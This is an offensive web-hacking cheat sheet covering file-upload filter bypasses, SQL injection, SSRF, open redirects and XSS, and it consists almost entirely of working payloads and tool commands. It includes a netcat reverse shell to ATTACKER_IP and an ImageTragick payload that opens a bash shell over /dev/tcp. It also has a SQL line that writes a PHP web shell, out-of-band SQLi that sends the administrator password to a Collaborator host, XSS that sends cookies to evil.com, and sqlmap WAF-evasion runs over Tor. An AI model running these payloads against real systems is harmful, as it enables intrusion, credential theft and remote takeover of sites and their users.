# http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe" -e cmd.exe ATTACKER_IP 1234
# Cross Content Hijacking:
https://github.com/nccgroup/CrossSiteContentHijacking
https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/
http://50.56.33.56/blog/?p=242
# Encoding scripts in PNG IDAT chunk:
https://yqh.at/scripts_in_pngs.php
File upload
# File name validation
# extension blacklisted:
PHP: .phtm, phtml, .phps, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .pgif, .inc
ASP: .asp, .aspx, .cer, .asa
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion: .cfm, .cfml, .cfc, .dbm
Using random capitalization: .pHp, .pHP5, .PhAr
pht,phpt,phtml,php3,php4,php5,php6,php7,phar,pgif,phtm,phps,shtml,phar,pgif,inc
# extension whitelisted:
file.jpg.php
file.php.jpg
file.php.blah123jpg
file.php%00.jpg
file.php\x00.jpg
file.php%00
file.php%20
file.php%0d%0a.jpg
file.php.....
file.php/
file.php.\
file.
.html
# Content type bypass
- Preserve name, but change content-type
Content-Type: image/jpeg, image/gif, image/png
# Content length:
# Small bad code:
<?='$_GET[x]'?>
# Impact by extension
asp, aspx, php5, php, php3: webshell, rce
svg: stored xss, ssrf, xxe
gif: stored xss, ssrf
csv: csv injection
xml: xxe
avi: lfi, ssrf
html, js: html injection, xss, open redirect
png, jpeg: pixel flood attack dos
zip: rce via lfi, dos
pdf, pptx: ssrf, blind xxe
# Path traversal
../../etc/passwd/logo.png
../../../logo.png
# SQLi
'sleep(10).jpg
sleep(10)-- -.jpg
# Command injection
; sleep 10;
# ImageTragick
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
# XXE .svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1
<text font-size="40" x="0" y="16">&xxe;</text>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
# XSS svg
<svg onload=alert(document.comain)>.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
File Upload Checklist 3
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("HolyBugx XSS");
</script>
</svg>
# Open redirect svg
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='https://attacker.com'"
xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>
</code>
# Filter Bypassing Techniques
# upload asp file using .cer & .asa extension (IIS — Windows)
# Upload .eml file when content-type = text/HTML
# Inject null byte shell.php%001.jpg
# Check for .svg file upload you can achieve stored XSS using XML payload
# put file name ../../logo.png or ../../etc/passwd/logo.png to get directory traversal via upload file
# Upload large size file for DoS attack test using the image.
# (magic number) upload shell.php change content-type to image/gif and start content with GIF89a; will do the job!
# If web app allows for zip upload then rename the file to pwd.jpg bcoz developer handle it via command
# upload the file using SQL command 'sleep(10).jpg you may achieve SQL if image directly saves to DB.
# Advance Bypassing techniques
# Imagetragick aka ImageMagick:
https://mukarramkhalid.com/imagemagick-imagetragick-exploit/
https://github.com/neex/gifoeb
# Upload file tool
https://github.com/almandin/fuxploider
python3 fuxploider.py --url https://example.com --not-regex "wrong file type"
https://github.com/sAjibuu/upload_bypass
Cheatsheet
upload.random123 --- To test if random file extensions can be uploaded.
upload.php --- try to upload a simple php file.
upload.php.jpeg --- To bypass the blacklist.
upload.jpg.php --- To bypass the blacklist.
upload.php --- and Then Change the content type of the file to image or jpeg.
upload.php* --- version - 1 2 3 4 5 6 7.
upload.PHP --- To bypass The BlackList.
upload.PhP --- To bypass The BlackList.
upload.pHp --- To bypass The BlackList.
upload .htaccess --- By uploading this [jpg,png] files can be executed as php with milicious code within it.
pixelFlood.jpg --- To test againt the DOS.
frameflood.gif --- upload gif file with 10^10 Frames
Malicious zTXT --- upload UBER.jpg
Upload zip file --- test againts Zip slip (only when file upload supports zip file)
Check Overwrite Issue --- Upload file.txt and file.txt with different content and check if 2nd file.txt overwrites 1st file
SVG to XSS --- Check if you can upload SVG files and can turn them to cause XSS on the target app
SQLi Via File upload --- Try uploading `sleep(10)-- -.jpg` as file
SQLi
https://portswigger.net/web-security/sql-injection/cheat-sheet
https://sqlwiki.netspi.com/#mysql
Common
/?q=1
/?q=1'
/?q=1"
/?q=[1]
/?q[]=1
/?q=1`
/?q=1\
/?q=1/*'*/
/?q=1/*!1111'*/
/?q=1'||'asd'||' <== concat string
/?q=1' or '1'='1
/?q=1 or 1=1
/?q='or''='
/?q=(1)or(0)=(1)
# Useful payloads
' WAITFOR DELAY '0:0:5'--
';WAITFOR DELAY '0:0:5'--
')) or sleep(5)='
;waitfor delay '0:0:5'--
);waitfor delay '0:0:5'--
';waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
');waitfor delay '0:0:5'--
");waitfor delay '0:0:5'--
));waitfor delay '0:0:5'--
Polyglot
', ",'),"), (),., * /, <! -, -
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
Resources by type
# MySQL:
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
# MSQQL:
http://evilsql.com/main/page2.php
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
# ORACLE:
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
# POSTGRESQL:
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
# Others
http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet
https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet
http://rails-sqli.org/
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
R/W files
# Read file
UNION SELECT LOAD_FILE ("etc/passwd")--
# Write a file
UNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/tmp/shell.php"-
Blind SQLi
# Conditional Responses
# Request with:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
In the DDBB it does:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' - If exists, show content or “Welcome back”
# To detect:
TrackingId=x'+OR+1=1-- OK
TrackingId=x'+OR+1=2-- KO
# User admin exist
TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'-- OK
# Password length
TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>1--
# So, in the cookie header if first letter of password is greater than ‘m’, or ‘t’ or equal to ‘s’ response will be ok.
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'--
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'--
z'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,6,1)='§a§'--
# Force conditional responses
TrackingId=x'+UNION+SELECT+CASE+WHEN+(1=1)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS ERROR IF OK
TrackingId=x'+UNION+SELECT+CASE+WHEN+(1=2)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS NORMALLY IF KO
TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,3,1)='§a§')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--;
# Time delays
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
TrackingId=x'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
TrackingId=x'; IF (1=2) WAITFOR DELAY '0:0:10'--
TrackingId=x'||pg_sleep(10)--
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
# Out-of-Band OAST (Collaborator)
Asynchronous response
# Confirm:
TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
# Exfil:
TrackingId=x'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
Second Order SQLi
# A second-order SQL Injection, on the other hand, is a vulnerability exploitable in two different steps:
1. Firstly, we STORE a particular user-supplied input value in the DB and
2. Secondly, we use the stored value to exploit a vulnerability in a vulnerable function in the source code which constructs the dynamic query of the web application.
# Example payload:
X' UNION SELECT user(),version(),database(), 4 --
X' UNION SELECT 1,2,3,4 --
# For example, in a password reset query with user "User123' --":
$pwdreset = mysql_query("UPDATE users SET password='getrekt' WHERE username='User123' — ' and password='UserPass@123'");
# Will be:
$pwdreset = mysql_query("UPDATE users SET password='getrekt' WHERE username='User123'");
# So you don't need to know the password.
- User = ' or 'asd'='asd it will return always true
- User = admin'-- probably not check the password
sqlmap
# Post
sqlmap -r search-test.txt -p tfUPass
# Get
sqlmap -u "http://10.11.1.111/index.php?id=1" --dbms=mysql
# Crawl
sqlmap -u http://10.11.1.111 --dbms=mysql --crawl=3
# Full auto - FORMS
sqlmap -u 'http://10.11.1.111:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch
# Columns
sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --columns -T users -D admin
# Values
sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --dump -T users -D admin
sqlmap -o -u "http://10.11.1.111:1337/978345210/index.php" --data="username=admin&password=pass&submit=+Login+" --method=POST --level=3 --threads=10 --dbms=MySQL --users --passwords
# SQLMAP WAF bypass
sqlmap --level=5 --risk=3 --random-agent --user-agent -v3 --batch --threads=10 --dbs
sqlmap --dbms="MySQL" -v3 --technique U --tamper="space2mysqlblank.py" --dbs
sqlmap --dbms="MySQL" -v3 --technique U --tamper="space2comment" --dbs
sqlmap -v3 --technique=T --no-cast --fresh-queries --banner
sqlmap -u http://www.example.com/index?id=1 --level 2 --risk 3 --batch --dbs
sqlmap -f -b --current-user --current-db --is-dba --users --dbs
sqlmap --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs
sqlmap --risk 3 --level 5 --random-agent --proxy http://123.57.48.140:8080 --dbs
sqlmap --random-agent --dbms=MYSQL --dbs --technique=B"
sqlmap --identify-waf --random-agent -v 3 --dbs
1 : --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs
2 : --parse-errors -v 3 --current-user --is-dba --banner -D eeaco_gm -T #__tabulizer_user_preferences --column --random-agent --level=5 --risk=3
sqlmap --threads=10 --dbms=MYSQL --tamper=apostrophemask --technique=E -D joomlab -T anz91_session -C session_id --dump
sqlmap --tables -D miss_db --is-dba --threads="10" --time-sec=10 --timeout=5 --no-cast --tamper=between,modsecurityversioned,modsecurityzeroversioned,charencode,greatest --identify-waf --random-agent
sqlmap -u http://192.168.0.107/test.php?id=1 -v 3 --dbms "MySQL" --technique U -p id --batch --tamper "space2morehash.py"
sqlmap --banner --safe-url=2 --safe-freq=3 --tamper=between,randomcase,charencode -v 3 --force-ssl --dbs --threads=10 --level=2 --risk=2
sqlmap -v3 --dbms="MySQL" --risk=3 --level=3 --technique=BU --tamper="space2mysqlblank.py" --random-agent -D damksa_abr -T admin,jobadmin,member --colu
sqlmap --wizard
sqlmap --level=5 --risk=3 --random-agent --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql
sqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor --dbms=mssql
sqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql
# Tamper suggester
https://github.com/m4ll0k/Atlas
--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent
--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" --tables
--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" --columns
--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" -C "ud,email,usuario,contra" --dump
# Tamper list
between.py,charencode.py,charunicodeencode.py,equaltolike.py,greatest.py,multiplespaces.py,nonrecursivereplacement.py,percent
SSRF
Tools
# https://github.com/tarunkant/Gopherus
gopherus --exploit [PLATFORM]
# https://github.com/daeken/SSRFTest
# https://github.com/jmdx/TLS-poison/
# https://github.com/m4ll0k/Bug-Bounty-Toolz
# https://github.com/cujanovic/SSRF-Testing
# https://github.com/bcoles/ssrf_proxy
gau domain.com | python3 ssrf.py collab.listener.com
# https://github.com/micha3lb3n/SSRFire
./ssrfire.sh -d domain.com -s yourserver.com -f /path/to/copied_raw_urls.txt
# SSRF Redirect Payload generator
# https://tools.intigriti.io/redirector/
Summary
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.
# Web requesting other ip or ports like 127.0.0.1:8080 or 192.168.0.1
chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000
GET /ssrf?user=&comment=&link=http://127.0.0.1:3000 HTTP/1.1
SSRF Attacks
# Check if you're able to enum IP or ports
127.0.0.1
127.0.1
127.1
127.000.000.001
2130706433
0x7F.0x00.0x00.0x01
0x7F.1
0x7F000001
# Quick URL based bypasses:
http://google.com:80+&@127.88.23.245:22/#+@google.com:80/
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
http://google.com:80+&@google.com:80#+@127.88.23.245:22/
http://127.88.23.245:22/?@google.com:80/
http://127.88.23.245:22/#@www.google.com:80/
# 301 responses:
https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg
https://ssrf.localdomain.pw/img-without-body-md/301-http-.i.jpg
https://ssrf.localdomain.pw/img-with-body/301-http-169.254.169.254:80-.i.jpg
https://ssrf.localdomain.pw/img-with-body-md/301-http-.i.jpg
# 301 json:
https://ssrf.localdomain.pw/json-without-body/301-http-169.254.169.254:80-.j.json
https://ssrf.localdomain.pw/json-without-body-md/301-http-.j.json
https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json
https://ssrf.localdomain.pw/json-with-body-md/301-http-.j.json
# 301 csv:
https://ssrf.localdomain.pw/csv-without-body/301-http-169.254.169.254:80-.c.csv
https://ssrf.localdomain.pw/csv-without-body-md/301-http-.c.csv
https://ssrf.localdomain.pw/csv-with-body/301-http-169.254.169.254:80-.c.csv
https://ssrf.localdomain.pw/csv-with-body-md/301-http-.c.csv
# 301 xml:
https://ssrf.localdomain.pw/xml-without-body/301-http-169.254.169.254:80-.x.xml
https://ssrf.localdomain.pw/xml-without-body-md/301-http-.x.xml
https://ssrf.localdomain.pw/xml-with-body/301-http-169.254.169.254:80-.x.xml
https://ssrf.localdomain.pw/xml-with-body-md/301-http-.x.xml
# 301 pdf:
https://ssrf.localdomain.pw/pdf-without-body/301-http-169.254.169.254:80-.p.pdf
https://ssrf.localdomain.pw/pdf-without-body-md/301-http-.p.pdf
https://ssrf.localdomain.pw/pdf-with-body/301-http-169.254.169.254:80-.p.pdf
https://ssrf.localdomain.pw/pdf-with-body-md/301-http-.p.pdf
# 30x custom:
https://ssrf.localdomain.pw/custom-30x/?code=332&url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json
# 20x custom:
https://ssrf.localdomain.pw/custom-200/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json
# 201 custom:
https://ssrf.localdomain.pw/custom-201/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json
# HTML iframe + URL bypass
http://ssrf.localdomain.pw/iframe/?proto=http&ip=127.0.0.1&port=80&url=/
# SFTP
http://whatever.com/ssrf.php?url=sftp://evil.com:11111/
evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
SSH-2.0-libssh2_1.4.2
# Dict
http://safebuff.com/ssrf.php?dict://attacker:11111/
evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
CLIENT libcurl 7.40.0
# gopher
# http://safebuff.com/ssrf.php?url=http://evil.com/gopher.php
<?php
header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
?>
evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
HI
Multiline
test
# TFTP
# http://safebuff.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
evil.com:# nc -v -u -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
TESTUDPPACKEToctettsize0blksize512timeout6
# file
http://safebuff.com/redirect.php?url=file:///etc/passwd
# ldap
http://safebuff.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit
# SSRF Bypasses
?url=http://safesite.com&site.com
?url=http://////////////site.com/
?url=http://site@com/account/edit.aspx
?url=http://site.com/account/edit.aspx
?url=http://safesite.com?.site.com
?url=http://safesite.com#.site.com
?url=http://safesite.com\.site.com/domain
?url=https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com
?url=https://192.10.10.3/
?url=https://192.10.10.2?.192.10.10.3/
?url=https://192.10.10.2#.192.10.10.3/
?url=https://192.10.10.2\.192.10.10.3/
?url=http://127.0.0.1/status/
?url=http://localhost:8000/status/
?url=http://site.com/domain.php
<?php
header(‘Location: http://127.0.0.1:8080/status');
?>
# Localhost bypasses
0
127.00.1
127.0.01
0.00.0
0.0.00
127.1.0.1
127.10.1
127.1.01
0177.1
0177.0001.0001
0x0.0x0.0x0.0x0
0000.0000.0000.0000
0x7f.0x0.0x0.0x1
0177.0000.0000.0001
0177.0001.0000..0001
0x7f.0x1.0x0.0x1
0x7f.0x1.0x1
# Blind SSRF
- Review Forms
- Contact Us
- Password fields
- Contact or profile info (Names, Addresses)
- User Agent
# SSRF through video upload
# https://hackerone.com/reports/1062888
# https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS
# SSRF in pdf rendering
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="highcharts-root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
SSRF Bypasses
http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
http://%73%68%6d%69%6c%6f%6e%2e%63%6f%6d
http://////////////site.com/
http://0000::1:80/
http://000330.0000072.0000326.00000343
http://000NaN.000NaN
http://0177.00.00.01
http://017700000001
http://0330.072.0326.0343
http://033016553343
http://0NaN
http://0NaN.0NaN
http://0x0NaN0NaN
http://0x7f000001/
http://0xd8.0x3a.0xd6.0xe3
http://0xd8.0x3a.0xd6e3
http://0xd8.0x3ad6e3
http://0xd83ad6e3
http://0xNaN.0xaN0NaN
http://0xNaN.0xNa0x0NaN
http://0xNaN.0xNaN
http://127.0.0.1/status/
http://127.1/
http://2130706433/
http://216.0x3a.00000000326.0xe3
http://3627734755
http://[::]:80/
http://localhost:8000/status/
http://NaN
http://safesite.com#.site.com
http://safesite.com&site.com
http://safesite.com?.site.com
http://safesite.com\.site.com/domain
http://shmilon.0xNaN.undefined.undefined
http://site.com/account/edit.aspx
http://site.com/domain.php
http://site@com/account/edit.aspx
http://whitelisted@127.0.0.1
https://192.10.10.2#.192.10.10.3/
https://192.10.10.2?.192.10.10.3/
https://192.10.10.2\.192.10.10.3/
https://192.10.10.3/
https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com
<?php
header('Location: http://127.0.0.1:8080/status');
?>
# Tool
# https://h.43z.one/ipconverter/
Mindmap
Open redirects
Tools
#https://github.com/devanshbatham/OpenRedireX
python3 openredirex.py -u "https://website.com/?url=FUZZ" -p payloads.txt --keyword FUZZ
#https://github.com/0xNanda/Oralyzer
python3 oralyzer.py -u https://website.com/redir?url=
# Payload generator
# https://gist.github.com/zPrototype/b211ae91e2b082420c350c28b6674170
Payloads
# Check for
=aHR0
=http
# https://github.com/m0chan/BugBounty/blob/master/OpenRedirectFuzzing.txt
https://web.com/r/?url=https://phising-malicious.com
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect
# Check redirects
https://url.com/redirect/?url=http://twitter.com/
http://www.theirsite.com@yoursite.com/
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
/http://twitter.com/
/\\twitter.com
/\/twitter.com
?c=.twitter.com/
/?redir=google。com
//google%E3%80%82com
//google%00.com
/%09/google.com
/%5cgoogle.com
//www.google.com/%2f%2e%2e
//www.google.com/%2e%2e
//google.com/
//google.com/%2f..
//\google.com
/\victim.com:80%40google.com
https://target.com///google.com//
# Remember url enconde the payloads!
# Search in Burp:
“=http” or “=aHR0”(base64 encode http)
# Fuzzing openredirect
# Intruder url open redirect
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
# Valid URLs:
http(s)://evil.com
http(s):\\evil.com
//evil.com
///evil.com
/\evil.com
\/evil.com
/\/evil.com
\\evil.com
\/\evil.com
/ /evil.com
\ \evil.com
# Oneliner with gf
echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew
XSS
- Visit Portswigger
Try XSS in every input field, host headers, url redirections, URI paramenters and file upload namefiles.
Actions: phising through iframe, cookie stealing, always try convert self to reflected.
Tools
# https://github.com/hahwul/dalfox
dalfox url http://testphp.vulnweb.com/listproducts.php
# https://github.com/KathanP19/Gxss
# Replace every param value with word FUZZ
echo "https://target.com/some.php?first=hello&last=world" | Gxss -c 100
# XSpear
gem install XSpear
XSpear -u 'https://web.com' -a
XSpear -u 'https://www.web.com/?q=123' --cookie='role=admin' -v 1 -a -b https://six2dez.xss.ht -t 20
XSpear -u "http://testphp.vulnweb.com/search.php?test=query" -p test -v 1
# Xira
# https://github.com/xadhrit/xira
python3 xira.py -u url
# Hosting XSS
# surge.sh
npm install --global surge
mkdir mypayload
cd mypayload
echo "alert(1)" > payload.js
surge # It returns the url
# XSS vectors
https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45
# Payload list
https://github.com/m0chan/BugBounty/blob/master/xss-payload-list.txt
https://github.com/terjanq/Tiny-XSS-Payloads
# XSS to RCE
# https://github.com/shelld3v/JSshell
# Polyglots
# https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
# XSS browser
# https://github.com/RenwaX23/XSSTRON
# Blind
# https://github.com/hipotermia/vaya-ciego-nen
Oneliners
# WaybackUrls
echo "domain.com" | waybackurls | httpx -silent | Gxss -c 100 -p Xss | sort -u | dalfox pipe -b https://six2dez.xss.ht
# Param discovery based
paramspider -d target.com > /filepath/param.txt && dalfox -b https://six2dez.xss.ht file /filepath/param.txt
# Blind XSS
cat target_list.txt | waybackurls -no-subs | grep "https://" | grep -v "png\|jpg\|css\|js\|gif\|txt" | grep "=" | qsreplace -a | dalfox pipe -b https://six2dez.xss.ht
# Reflected XSS
echo "domain.com" | waybackurls | gf xss | kxss
XSS recopilation
Basics
# Locators
'';!--"<XSS>=&{()}
# 101
<script>alert(1)</script>
<script>+-+-1-+-+alert(1)</script>
<script>+-+-1-+-+alert(/xss/)</script>
%3Cscript%3Ealert(0)%3C%2Fscript%3E
%253Cscript%253Ealert(0)%253C%252Fscript%253E
<svg onload=alert(1)>
"><svg onload=alert(1)>
<iframe src="javascript:alert(1)">
"><script src=data:,alert(1)//
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
%5B'-alert(document.cookie)-'%5D
By tag
# Tag filter bypass
<svg/onload=alert(1)>
<script>alert(1)</script>
<script >alert(1)</script>
<ScRipT>alert(1)</sCriPt>
<%00script>alert(1)</script>
<script>al%00ert(1)</script>
# HTML tags
<img/src=x a='' onerror=alert(1)>
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<img src=`x`onerror=alert(1)>
<img src='/' onerror='alert("kalisa")'>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<SCRIPT SRC=http:/evil.com/xss.js?< B >
"><XSS<test accesskey=x onclick=alert(1)//test
<svg><discard onbegin=alert(1)>
<script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script>
<script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script>
# Other tags
<BASE HREF="javascript:alert('XSS');//">
<DIV STYLE="width: expression(alert('XSS'));">
<TABLE BACKGROUND="javascript:alert('XSS')">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss onclick="alert(1)">test</xss>
<xss onmousedown="alert(1)">test</xss>
<body onresize=alert(1)>”onload=this.style.width=‘100px’>
<xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script>
# CharCode
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
# Input already in script tag
@domain.com">user+'-alert`1`-'@domain.com
# Scriptless
<link rel=icon href="//evil?
<iframe src="//evil?
